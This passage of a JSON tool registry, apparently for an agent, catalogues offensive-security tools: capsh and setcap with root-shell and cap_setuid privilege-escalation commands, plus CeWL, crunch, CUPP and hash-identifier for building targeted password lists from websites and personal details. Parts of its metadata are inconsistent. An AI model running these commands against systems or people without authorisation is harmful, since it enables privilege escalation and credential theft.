          "type": "process.output",
          "description": "Shell output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Linux capability shell wrapper that can spawn a privileged shell by dropping or manipulating capabilities.",
    "examples": [
      {
        "description": "Spawn a shell with current capabilities",
        "command": "capsh --"
      },
      {
        "description": "Spawn a root shell with SUID (set gid and uid to 0)",
        "command": "capsh --gid=0 --uid=0 --"
      }
    ],
    "execution": {
      "template": "capsh {0}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "security-capabilities-capsh",
    "install": [
      {
        "method": "apt",
        "package_name": "libcap2-bin",
        "commands": [
          "apt-get install -y libcap2-bin"
        ]
      }
    ],
    "name": "capsh",
    "namespace": "security:capabilities:capsh",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "capsh man page",
        "url": "https://man7.org/linux/man-pages/man1/capsh.1.html"
      }
    ],
    "related_tools": [
      "setcap",
      "getcap"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access"
      ],
      "consumes": []
    }
  },
  {
    "_body": "",
    "_source": "setcap.md",
    "allowed-tools": [
      "setcap",
      "getcap",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 2,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Set file capabilities, can execute commands via cap-enabled binaries.",
    "examples": [
      {
        "description": "Execute command via setcap-enabled binary",
        "command": "setcap cap_setuid+ep /path/to/binary"
      }
    ],
    "execution": {
      "template": "setcap cap_setuid+ep /path/to/binary",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "requires-root",
      "process-manip"
    ],
    "global_vars": {},
    "id": "security-capabilities-setcap",
    "install": [
      {
        "method": "apt",
        "package_name": "libcap2-bin",
        "commands": [
          "apt-get install -y libcap2-bin"
        ]
      }
    ],
    "name": "setcap",
    "namespace": "security:capabilities:setcap",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/setcap/"
      }
    ],
    "related_tools": [
      "getcap",
      "capsh"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 2,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "\n# CeWL — Custom Wordlist Generator\n\nCeWL (Custom Word List) is a Ruby application that spiders a given website to a specified depth, returning a list of unique words found on the site. These words are ideal for crafting targeted password lists in penetration tests.\n\n## Key Features\n\n- **Web spidering**: Crawls sites up to configurable depth\n- **Metadata extraction**: Pulls metadata from Office documents\n- **Email harvesting**: Extracts email addresses found on pages\n- **Custom filtering**: Min/max word length, numbers, case control\n\n## Usage Patterns\n\n| Operation | Command | Description |\n|-----------|---------|-------------|\n| Basic | `cewl https://target.com -w words.txt` | Simple wordlist generation |\n| Deep | `cewl https://target.com -d 5 -m 5 -w words.txt` | Deep crawl, min 5 chars |\n| Metadata | `cewl https://target.com -a -w words.txt` | Extract document metadata |\n| Emails | `cewl https://target.com -e --email_file emails.txt` | Harvest email addresses |\n\n## Wordlist Enhancement\n\nCombine CeWL output with other tools:\n- `crunch` — generate permutations based on CeWL words\n- `rsmangler` — apply common mangling rules\n- `cupp` — generate smart entries from personal info\n",
    "_source": "cewl.md",
    "allowed-tools": [
      "cewl",
      "crunch",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "security.wordlist.txt",
        "description": "Generated wordlist file",
        "mime": "text/plain",
        "trust_level": "verified"
      },
      {
        "type": "security.emails.txt",
        "description": "Discovered email addresses",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "CredentialAccess"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "security.wordlist.generate",
      "security.crack.password",
      "web.spider.content"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.target.url",
          "description": "Target URL to spider for word generation"
        },
        {
          "type": "web.spider.depth",
          "description": "Maximum link depth to spider"
        }
      ],
      "outputs": [
        {
          "type": "security.wordlist",
          "description": "Generated wordlist file",
          "mime": "text/plain"
        },
        {
          "type": "security.email.list",
          "description": "Discovered email addresses",
          "mime": "text/plain"
        },
        {
          "type": "web.metadata",
          "description": "Extracted metadata from documents",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "network_traffic",
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 256,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Custom wordlist generator that spiders websites to gather unique words for crafting targeted password lists.",
    "examples": [
      {
        "description": "Generate wordlist from website",
        "command": "cewl https://example.com -w wordlist.txt"
      },
      {
        "description": "Spider deeper with custom depth",
        "command": "cewl https://example.com -d 3 -w wordlist.txt"
      },
      {
        "description": "Minimum 6 character words",
        "command": "cewl https://example.com -m 6 -w wordlist.txt"
      },
      {
        "description": "Extract emails from website",
        "command": "cewl https://example.com -e --email_file emails.txt"
      },
      {
        "description": "Extract document metadata",
        "command": "cewl https://example.com -a -w wordlist.txt"
      },
      {
        "description": "Lowercase with numbers allowed",
        "command": "cewl https://example.com --lowercase --with-numbers -w wordlist.txt"
      },
      {
        "description": "Verbose output with custom user agent",
        "command": "cewl https://example.com -v -u \"Mozilla/5.0\" -w wordlist.txt"
      },
      {
        "description": "Include word count and offsite links",
        "command": "cewl https://example.com -c -o -w wordlist.txt"
      }
    ],
    "execution": {
      "template": "cewl {url} -w {output}",
      "sandbox": "execFile",
      "timeout_seconds": 600,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "compression",
      "file-system",
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {
      "url": "",
      "output": "wordlist.txt"
    },
    "id": "security-crack-cewl",
    "install": [
      {
        "method": "apt",
        "package_name": "cewl",
        "commands": [
          "apt-get install -y cewl"
        ]
      }
    ],
    "items": [
      "NoCreds",
      "Hash"
    ],
    "mitre_ids": [
      "T1110",
      "T1555",
      "T1558"
    ],
    "name": "cewl",
    "namespace": "security:crack:cewl",
    "parameters": [
      {
        "name": "auth_pass",
        "type": "boolean",
        "required": false,
        "description": "PASS        Authentication password",
        "aliases": [
          "--auth_pass"
        ],
        "flag": "--auth_pass"
      },
      {
        "name": "auth_type",
        "type": "boolean",
        "required": false,
        "description": "TYPE        Authentication type (basic, digest, ntlm)",
        "aliases": [
          "--auth_type"
        ],
        "flag": "--auth_type"
      },
      {
        "name": "auth_user",
        "type": "boolean",
        "required": false,
        "description": "USER        Authentication username",
        "aliases": [
          "--auth_user"
        ],
        "flag": "--auth_user"
      },
      {
        "name": "convert-umlauts",
        "template_key": "convert-umlauts",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Convert umlauts to ASCII equivalents",
        "aliases": [
          "--convert-umlauts"
        ],
        "flag": "--convert-umlauts"
      },
      {
        "name": "cookie",
        "type": "boolean",
        "required": false,
        "description": "COOKIE         Cookie string for session",
        "aliases": [
          "--cookie"
        ],
        "flag": "--cookie"
      },
      {
        "name": "cookies",
        "type": "boolean",
        "required": false,
        "description": "FILE          File containing cookies",
        "aliases": [
          "--cookies"
        ],
        "flag": "--cookies"
      },
      {
        "name": "email_file",
        "template_key": "email_file",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Write discovered emails to file",
        "aliases": [
          "--email_file"
        ],
        "flag": "--email_file"
      },
      {
        "name": "flag-a",
        "template_key": "flag-a",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Extract metadata from documents",
        "aliases": [
          "-a",
          "--meta"
        ],
        "flag": "-a"
      },
      {
        "name": "flag-c",
        "template_key": "flag-c",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Include word count in output",
        "aliases": [
          "-c",
          "--count"
        ],
        "flag": "-c"
      },
      {
        "name": "flag-d",
        "template_key": "flag-d",
        "type": "integer",
        "required": false,
        "default_value": 2,
        "description": "Spider depth for crawling links",
        "aliases": [
          "-d",
          "--depth"
        ],
        "flag": "-d"
      },
      {
        "name": "flag-e",
        "template_key": "flag-e",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Extract email addresses from pages",
        "aliases": [
          "-e",
          "--email"
        ],
        "flag": "-e"
      },
      {
        "name": "flag-m",
        "template_key": "flag-m",
        "type": "integer",
        "required": false,
        "default_value": 3,
        "description": "Minimum word length",
        "aliases": [
          "-m",
          "--min-word-length"
        ],
        "flag": "-m"
      },
      {
        "name": "flag-n",
        "template_key": "flag-n",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Do not include word count in output",
        "aliases": [
          "-n",
          "--no-count"
        ],
        "flag": "-n"
      },
      {
        "name": "flag-o",
        "template_key": "flag-o",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Allow spidering offsite links",
        "aliases": [
          "-o",
          "--offsite"
        ],
        "flag": "-o"
      },
      {
        "name": "flag-u",
        "template_key": "flag-u",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Custom user agent string",
        "aliases": [
          "-u",
          "--user-agent"
        ],
        "flag": "-u"
      },
      {
        "name": "flag-v",
        "template_key": "flag-v",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Verbose output",
        "aliases": [
          "-v",
          "--verbose"
        ],
        "flag": "-v"
      },
      {
        "name": "flag-w",
        "template_key": "flag-w",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Write wordlist to output file",
        "aliases": [
          "-w",
          "--write"
        ],
        "flag": "-w"
      },
      {
        "name": "flag-x",
        "template_key": "flag-x",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Maximum word length",
        "aliases": [
          "-x",
          "--max-word-length"
        ],
        "flag": "-x"
      },
      {
        "name": "h",
        "type": "boolean",
        "required": false,
        "description": "Show this help message",
        "aliases": [
          "-h",
          "--help"
        ],
        "flag": "-h"
      },
      {
        "name": "k",
        "type": "boolean",
        "required": false,
        "description": "Keep the downloaded file",
        "aliases": [
          "-k",
          "--keep"
        ],
        "flag": "-k"
      },
      {
        "name": "lowercase",
        "template_key": "lowercase",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Convert all words to lowercase",
        "aliases": [
          "--lowercase"
        ],
        "flag": "--lowercase"
      },
      {
        "name": "max_retries",
        "type": "boolean",
        "required": false,
        "description": "NUM       Maximum retries (default: 3)",
        "aliases": [
          "--max_retries"
        ],
        "flag": "--max_retries"
      },
      {
        "name": "no_check_certificate",
        "type": "boolean",
        "required": false,
        "description": "Don't check SSL certificate validity",
        "aliases": [
          "--no_check_certificate"
        ],
        "flag": "--no_check_certificate"
      },
      {
        "name": "proxy",
        "type": "boolean",
        "required": false,
        "description": "HOST:PORT       Use proxy",
        "aliases": [
          "--proxy"
        ],
        "flag": "--proxy"
      },
      {
        "name": "proxy_auth",
        "type": "boolean",
        "required": false,
        "description": "CREDS      Proxy authentication credentials",
        "aliases": [
          "--proxy-auth"
        ],
        "flag": "--proxy-auth"
      },
      {
        "name": "proxy_protocol",
        "type": "boolean",
        "required": false,
        "description": "PROTO  Proxy protocol (http/socks)",
        "aliases": [
          "--proxy-protocol"
        ],
        "flag": "--proxy-protocol"
      },
      {
        "name": "quiet",
        "type": "boolean",
        "required": false,
        "description": "Quiet mode (no banner)",
        "aliases": [
          "--quiet"
        ],
        "flag": "--quiet"
      },
      {
        "name": "url",
        "template_key": "url",
        "type": "string",
        "required": true,
        "default_value": null,
        "description": "Target URL to spider (positional argument)",
        "aliases": []
      },
      {
        "name": "with-numbers",
        "template_key": "with-numbers",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Include words containing numbers",
        "aliases": [
          "--with-numbers"
        ],
        "flag": "--with-numbers"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "CeWL GitHub",
        "url": "https://github.com/digininja/CeWL"
      },
      {
        "label": "CeWL Documentation",
        "url": "https://www.kali.org/tools/cewl/"
      }
    ],
    "related_tools": [
      "crunch",
      "cupp",
      "rsmangler"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 256,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "services": [],
    "techniques": [
      "credential-access",
      "credential-access"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "wordlist",
        "email-list",
        "metadata"
      ],
      "consumes": [
        "target-url"
      ]
    }
  },
  {
    "_body": "\n# Crunch — Wordlist Generator\n\nCrunch is a wordlist generator that creates all possible combinations and permutations from specified character sets. It supports patterns with placeholders (@ for lowercase, , for uppercase, % for numbers, ^ for symbols), output compression (gzip, bzip2, lzma), file splitting, resume capability, and charset file integration.\n",
    "_source": "crunch.md",
    "allowed-tools": [
      "crunch",
      "Bash"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "wordlist",
        "description": "Generated wordlist file",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "CredentialAccess",
      "CredentialAccess"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "wordlist.generate",
      "wordlist.combination",
      "wordlist.permutation",
      "wordlist.bruteforce"
    ],
    "contract": {
      "inputs": [
        {
          "type": "wordlist.minlen",
          "description": "Minimum length of generated words"
        },
        {
          "type": "wordlist.maxlen",
          "description": "Maximum length of generated words"
        },
        {
          "type": "wordlist.charset",
          "description": "Character set to use for generation"
        }
      ],
      "outputs": [
        {
          "type": "wordlist.file",
          "description": "Generated wordlist file",
          "mime": "text/plain"
        }
      ],
      "side_effects": [],
      "resource_cost": {
        "cpu": "high",
        "memory_mb": 256,
        "network": "none",
        "disk_io": "high"
      }
    },
    "dependencies": [],
    "description": "Wordlist generator that produces all possible combinations and permutations of specified character sets.",
    "examples": [
      {
        "description": "Generate all 6-8 character lowercase words",
        "command": "crunch 6 8 abcdefghijklmnopqrstuvwxyz -o wordlist.txt"
      },
      {
        "description": "Generate words with specific pattern",
        "command": "crunch 4 4 -t @@%%"
      },
      {
        "description": "Generate permutations of words",
        "command": "crunch 0 0 -p word1 word2 word3"
      },
      {
        "description": "Use a charset file",
        "command": "crunch 6 8 -f /usr/share/crunch/charset.lst mixalpha-numeric"
      },
      {
        "description": "Generate with start word",
        "command": "crunch 8 8 abcdefghijklmnopqrstuvwxyz -s aaaabbbb -o output.txt"
      },
      {
        "description": "Limit output to 50MB and compress",
        "command": "crunch 6 8 abcdefghijklmnopqrstuvwxyz -b 50MB -o START -z gzip"
      }
    ],
    "execution": {
      "template": "crunch {min} {max} {charset} -o {output}",
      "sandbox": "execFile",
      "timeout_seconds": 600,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "pipes-stdout",
      "process-manip"
    ],
    "global_vars": {
      "min": "8",
      "max": "12",
      "charset": "abcdefghijklmnopqrstuvwxyz",
      "output": "wordlist.txt"
    },
    "id": "security-crack-crunch",
    "install": [
      {
        "method": "apt",
        "package_name": "crunch",
        "commands": [
          "apt-get install -y crunch"
        ]
      }
    ],
    "items": [
      "NoCreds",
      "Hash"
    ],
    "mitre_ids": [
      "T1110",
      "T1555",
      "T1558"
    ],
    "name": "crunch",
    "namespace": "security:crack:crunch",
    "parameters": [
      {
        "name": "charset",
        "template_key": "charset",
        "type": "string",
        "required": false,
        "default_value": "abcdefghijklmnopqrstuvwxyz",
        "description": "Character set to use for generation",
        "aliases": []
      },
      {
        "name": "flag-b",
        "template_key": "flag-b",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Size limit for output (e.g. 50MB)",
        "aliases": [
          "-b"
        ],
        "flag": "-b"
      },
      {
        "name": "flag-c",
        "template_key": "flag-c",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Number of words per output file",
        "aliases": [
          "-c"
        ],
        "flag": "-c"
      },
      {
        "name": "flag-d",
        "template_key": "flag-d",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Limit duplicate characters (e.g. 2@)",
        "aliases": [
          "-d"
        ],
        "flag": "-d"
      },
      {
        "name": "flag-e",
        "template_key": "flag-e",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Stop generating at this word",
        "aliases": [
          "-e"
        ],
        "flag": "-e"
      },
      {
        "name": "flag-f",
        "template_key": "flag-f",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Charset file path and charset name",
        "aliases": [
          "-f"
        ],
        "flag": "-f"
      },
      {
        "name": "flag-o",
        "template_key": "flag-o",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Output file for wordlist",
        "aliases": [
          "-o"
        ],
        "flag": "-o"
      },
      {
        "name": "flag-p",
        "template_key": "flag-p",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Generate permutations of specified words",
        "aliases": [
          "-p"
        ],
        "flag": "-p"
      },
      {
        "name": "flag-s",
        "template_key": "flag-s",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Start word for generation",
        "aliases": [
          "-s"
        ],
        "flag": "-s"
      },
      {
        "name": "flag-t",
        "template_key": "flag-t",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Pattern with @,%^ placeholders",
        "aliases": [
          "-t"
        ],
        "flag": "-t"
      },
      {
        "name": "i",
        "type": "boolean",
        "required": false,
        "description": "Invert output order",
        "aliases": [
          "-i"
        ],
        "flag": "-i"
      },
      {
        "name": "l",
        "type": "boolean",
        "required": false,
        "description": "Treat @,%^ as literal characters",
        "aliases": [
          "-l"
        ],
        "flag": "-l"
      },
      {
        "name": "max-len",
        "template_key": "max-len",
        "type": "integer",
        "required": true,
        "default_value": null,
        "description": "Maximum length of generated words",
        "aliases": [
          "max"
        ],
        "flag": "max"
      },
      {
        "name": "min-len",
        "template_key": "min-len",
        "type": "integer",
        "required": true,
        "default_value": null,
        "description": "Minimum length of generated words",
        "aliases": [
          "min"
        ],
        "flag": "min"
      },
      {
        "name": "q",
        "type": "boolean",
        "required": false,
        "description": "FILE        Read input file for permutations",
        "aliases": [
          "-q"
        ],
        "flag": "-q"
      },
      {
        "name": "r",
        "type": "boolean",
        "required": false,
        "description": "Resume from last generated position",
        "aliases": [
          "-r"
        ],
        "flag": "-r"
      },
      {
        "name": "u",
        "type": "boolean",
        "required": false,
        "description": "Unique mode (no duplicate lines)",
        "aliases": [
          "-u"
        ],
        "flag": "-u"
      },
      {
        "name": "z",
        "type": "boolean",
        "required": false,
        "description": "FORMAT      Compress output (gzip, bzip2, lzma)",
        "aliases": [
          "-z"
        ],
        "flag": "-z"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Crunch GitHub",
        "url": "https://github.com/crunchsec/crunch"
      },
      {
        "label": "Kali Tools — Crunch",
        "url": "https://www.kali.org/tools/crunch/"
      }
    ],
    "related_tools": [
      "cewl",
      "cupp",
      "rsmangler"
    ],
    "resource_profile": {
      "cpu": "high",
      "memory_mb": 256,
      "network": "none",
      "disk_io": "high"
    },
    "risk_level": "medium",
    "services": [],
    "techniques": [
      "credential-access",
      "credential-access"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "wordlist"
      ],
      "consumes": [
        "charset"
      ]
    }
  },
  {
    "_body": "\n# CUPP — Common User Passwords Profiler\n\nCUPP is an interactive wordlist generator that builds targeted password lists from personal profile information such as name, birth date, pet name, partner, company, and interests. It uses common password patterns and mutations to create highly relevant candidate passwords for social engineering and credential attacks.\n",
    "_source": "cupp.md",
    "allowed-tools": [
      "cupp",
      "python3",
      "Bash"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "wordlist",
        "description": "Generated profile-based wordlist",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "CredentialAccess",
      "CredentialAccess"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "wordlist.generate",
      "wordlist.profile",
      "wordlist.social",
      "wordlist.mangle"
    ],
    "contract": {
      "inputs": [
        {
          "type": "wordlist.profile.name",
          "description": "Target name"
        },
        {
          "type": "wordlist.profile.birth",
          "description": "Target birth date"
        },
        {
          "type": "wordlist.profile.pet",
          "description": "Target pet name"
        },
        {
          "type": "wordlist.profile.company",
          "description": "Target company name"
        }
      ],
      "outputs": [
        {
          "type": "wordlist.file",
          "description": "Generated profile-based wordlist",
          "mime": "text/plain"
        }
      ],
      "side_effects": [],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 64,
        "network": "none",
        "disk_io": "medium"
      }
    },
    "dependencies": [
      "python3"
    ],
    "description": "Common User Passwords Profiler — generates intelligent wordlists based on personal profile information gathered from the target.",
    "examples": [
      {
        "description": "Interactive profile-based wordlist generation",
        "command": "cupp -i"
      },
      {
        "description": "Generate wordlist from a list of usernames",
        "command": "cupp -l usernames.txt"
      },
      {
        "description": "Parse all usernames from a website and build wordlist",
        "command": "cupp -a https://example.com"
      },
      {
        "description": "Quiet mode with custom output file",
        "command": "cupp -i -w passwords.txt -q"
      },
      {
        "description": "Generate using CLI flags instead of interactive prompts",
        "command": "cupp --name John --surname Doe --birth 01011990 --pet Rex --company Acme"
      }
    ],
    "execution": {
      "template": "cupp -i",
      "sandbox": "execFile",
      "timeout_seconds": 300,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "compression",
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {
      "output": "cupp-wordlist.txt"
    },
    "id": "security-crack-cupp",
    "install": [
      {
        "method": "apt",
        "package_name": "cupp",
        "commands": [
          "apt-get install -y cupp"
        ]
      }
    ],
    "items": [
      "NoCreds",
      "Hash"
    ],
    "mitre_ids": [
      "T1110",
      "T1555",
      "T1558"
    ],
    "name": "cupp",
    "namespace": "security:crack:cupp",
    "parameters": [
      {
        "name": "birth",
        "template_key": "birth",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Target birth date (DDMMYYYY)",
        "aliases": [
          "--birth"
        ],
        "flag": "--birth"
      },
      {
        "name": "car",
        "type": "boolean",
        "required": false,
        "description": "Target favourite car",
        "aliases": [
          "--car"
        ],
        "flag": "--car"
      },
      {
        "name": "charset",
        "type": "boolean",
        "required": false,
        "description": "Custom charset for mutations",
        "aliases": [
          "--charset"
        ],
        "flag": "--charset"
      },
      {
        "name": "company",
        "template_key": "company",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Target company name",
        "aliases": [
          "--company"
        ],
        "flag": "--company"
      },
      {
        "name": "flag-a",
        "template_key": "flag-a",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Parse all usernames from a web page URL",
        "aliases": [
          "-a"
        ],
        "flag": "-a"
      },
      {
        "name": "flag-i",
        "template_key": "flag-i",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Interactive mode — prompts for personal details",
        "aliases": [
          "-i"
        ],
        "flag": "-i"
      },
      {
        "name": "flag-l",
        "template_key": "flag-l",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Parse username list from file",
        "aliases": [
          "-l"
        ],
        "flag": "-l"
      },
      {
        "name": "flag-q",
        "template_key": "flag-q",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Quiet mode — hide banner",
        "aliases": [
          "-q"
        ],
        "flag": "-q"
      },
      {
        "name": "flag-v",
        "template_key": "flag-v",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Verbose mode",
        "aliases": [
          "-v"
        ],
        "flag": "-v"
      },
      {
        "name": "flag-w",
        "template_key": "flag-w",
        "type": "string",
        "required": false,
        "default_value": "cupp.txt",
        "description": "Output wordlist filename",
        "aliases": [
          "-w"
        ],
        "flag": "-w"
      },
      {
        "name": "kids",
        "type": "boolean",
        "required": false,
        "description": "Target children names",
        "aliases": [
          "--kids"
        ],
        "flag": "--kids"
      },
      {
        "name": "movie",
        "type": "boolean",
        "required": false,
        "description": "Target favourite movie",
        "aliases": [
          "--movie"
        ],
        "flag": "--movie"
      },
      {
        "name": "music",
        "type": "boolean",
        "required": false,
        "description": "Target favourite music",
        "aliases": [
          "--music"
        ],
        "flag": "--music"
      },
      {
        "name": "name",
        "template_key": "name",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Target first name",
        "aliases": [
          "--name"
        ],
        "flag": "--name"
      },
      {
        "name": "nick",
        "type": "boolean",
        "required": false,
        "description": "Target nickname",
        "aliases": [
          "--nick"
        ],
        "flag": "--nick"
      },
      {
        "name": "partner",
        "type": "boolean",
        "required": false,
        "description": "Target partner name",
        "aliases": [
          "--partner"
        ],
        "flag": "--partner"
      },
      {
        "name": "pet",
        "template_key": "pet",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Target pet name",
        "aliases": [
          "--pet"
        ],
        "flag": "--pet"
      },
      {
        "name": "school",
        "type": "boolean",
        "required": false,
        "description": "Target school name",
        "aliases": [
          "--school"
        ],
        "flag": "--school"
      },
      {
        "name": "sports",
        "type": "boolean",
        "required": false,
        "description": "Target favourite sport",
        "aliases": [
          "--sports"
        ],
        "flag": "--sports"
      },
      {
        "name": "surname",
        "template_key": "surname",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Target surname",
        "aliases": [
          "--surname"
        ],
        "flag": "--surname"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "CUPP GitHub",
        "url": "https://github.com/Mebus/cupp"
      },
      {
        "label": "Kali Tools — CUPP",
        "url": "https://www.kali.org/tools/cupp/"
      }
    ],
    "related_tools": [
      "crunch",
      "cewl",
      "rsmangler"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 64,
      "network": "none",
      "disk_io": "medium"
    },
    "risk_level": "medium",
    "services": [],
    "techniques": [
      "credential-access",
      "credential-access"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "wordlist"
      ],
      "consumes": [
        "profile-data"
      ]
    }
  },
  {
    "_body": "\n# Hash-Identifier — Hash Type Detection\n\nhash-identifier is a lightweight Python tool that accepts a hash string and returns likely hash types with sample formats. It supports over 200 hash types and works interactively or via stdin, helping analysts choose the correct hashcat or John mode for cracking.\n",
    "_source": "hash-identifier.md",
    "allowed-tools": [
      "hash-identifier",
      "python3",
      "Bash"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "attack_types": [
      "CredentialAccess",
      "CredentialAccess"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "hash.identify",
      "hash.analyze",
      "hash.classify"
    ],
    "contract": {
      "inputs": [
        {
          "type": "hash.string",
          "description": "Hash string to identify"
        }
      ],
      "outputs": [
        {
          "type": "hash.type",
          "description": "Identified hash type(s) with confidence"
        }
      ],
      "side_effects": [],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [
      "python3"
    ],
    "description": "Simple hash identification tool that determines the probable hash type from a given hash string.",
    "examples": [
      {
        "description": "Start interactive mode to identify hashes",
        "command": "hash-identifier"
      },
      {
        "description": "Identify an MD5 hash",
        "command": "echo \"5d41402abc4b2a76b9719d911017c592\" | hash-identifier"
      },
      {
        "description": "Identify a SHA-256 hash",
        "command": "echo \"2cf24dba5fb0a30e26e83b2ac5b9e29e1b161e5c1fa7425e73043362938b9824\" | hash-identifier"
      }
    ],
    "execution": {
      "template": "hash-identifier",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "security-crack-hash-identifier",
    "install": [
      {
        "method": "pip",
        "package_name": "hash-identifier",
        "commands": [
          "pip install hash-identifier"
        ]
      }
    ],
    "items": [
      "NoCreds",
      "Hash"
    ],
    "mitre_ids": [
      "T1110",
      "T1555",
      "T1558"
    ],
    "name": "hash-identifier",
    "namespace": "security:crack:hash-identifier",
    "parameters": [
      {
        "name": "hash",
        "template_key": "hash",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Hash string to identify (positional argument)",
        "aliases": []
      },
      {
        "name": "stdin",
        "template_key": "stdin",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Read hash from stdin pipe",
        "aliases": []
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Hash-Identifier on Kali",
        "url": "https://www.kali.org/tools/hash-identifier/"
      },
      {
        "label": "Hash-Identifier GitHub",
        "url": "https://github.com/psypanda/hashID"
      }
    ],
    "related_tools": [
      "john",
      "hashcat",
      "hashid"
    ],
    "resource_profile": {
